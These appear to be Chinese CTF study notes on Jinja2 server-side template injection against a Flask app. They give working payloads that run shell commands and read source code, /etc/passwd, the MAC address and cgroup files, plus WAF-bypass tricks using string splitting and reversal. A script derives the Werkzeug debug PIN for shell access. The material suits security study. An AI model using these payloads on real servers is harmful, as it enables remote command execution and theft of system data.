知识点:
ssti :
首先判断是什么类型的ssti,再利用,这里通过报错抛出debug信息的内容判断:爆出的报错部分的代码里面的特殊函数;比如:render_template_string 是jinja2
使用payload:
查看根目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
会有waf:存在过滤;
读取源码直接用open:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
关于绕过,flag,os,system,popen,import,eval,chr,request,
subprocess,commands,socket,hex,base64,*,?被过滤,可以使用符号拼接:
import = imp + ort os =o+s
使用拼接查看目录:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
看到flag文件:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
还可以使用切片绕过:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read()}}{% endif %}{% endfor %}
知识点2:
一般debug页面中包含Python的交互式shell,可以执行任意Python代码,但是这一般需要PIN才有权限,
参考Flask开启debug模式等于给黑客留了后门 - 知乎
得到PIN码需要六个信息,其中2和3易知
flask所登录的用户名
modname,一般是flask.app
getattr(app, “name”, app.class.name)。一般为Flask
flask库下app.py的绝对路径。这个可以由报错信息看出
当前网络的mac地址的十进制数。
机器的id。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}
2.app.py通过报错或得
3. mac地址的十进制数
首先要得到网卡 /sys/class/net/eth0/address
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
得到的Mac地址:print(int('去掉“:”后的地址',16))
4.docker机器的id
对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。 对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}
然后就是上代码:
- import hashlib
- from itertools import chain
- probably_public_bits = [
- 'flaskweb'# username
- 'flask.app',# modname
- 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
- '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
- ]
-
- private_bits = [
- '2485377864455',# str(uuid.getnode()), /sys/class/net/ens33/address
- 'ad4fc7650590f81ec6ab4e3a40f284a6b5a75454fcb50d6ee5347eba94a124c8'# get_machine_id(), /etc/machine-id
- ]
-
- h = hashlib.md5()
- for bit in chain(probably_public_bits, private_bits):
- if not bit:
- continue
- if isinstance(bit, str):
- bit = bit.encode('utf-8')
- h.update(bit)
- h.update(b'cookiesalt')
-
- cookie_name = '__wzd' + h.hexdigest()[:20]
-
- num = None
- if num is None:
- h.update(b'pinsalt')
- num = ('%09d' % int(h.hexdigest(), 16))[:9]
-
- rv =None
- if rv is None:
- for group_size in 5, 4, 3:
- if len(num) % group_size == 0:
- rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
- for x in range(0, len(num), group_size))
- break
- else:
- rv = num
-
- print(rv)
-
得到pin之后就输入就行;
就可以操作python交互端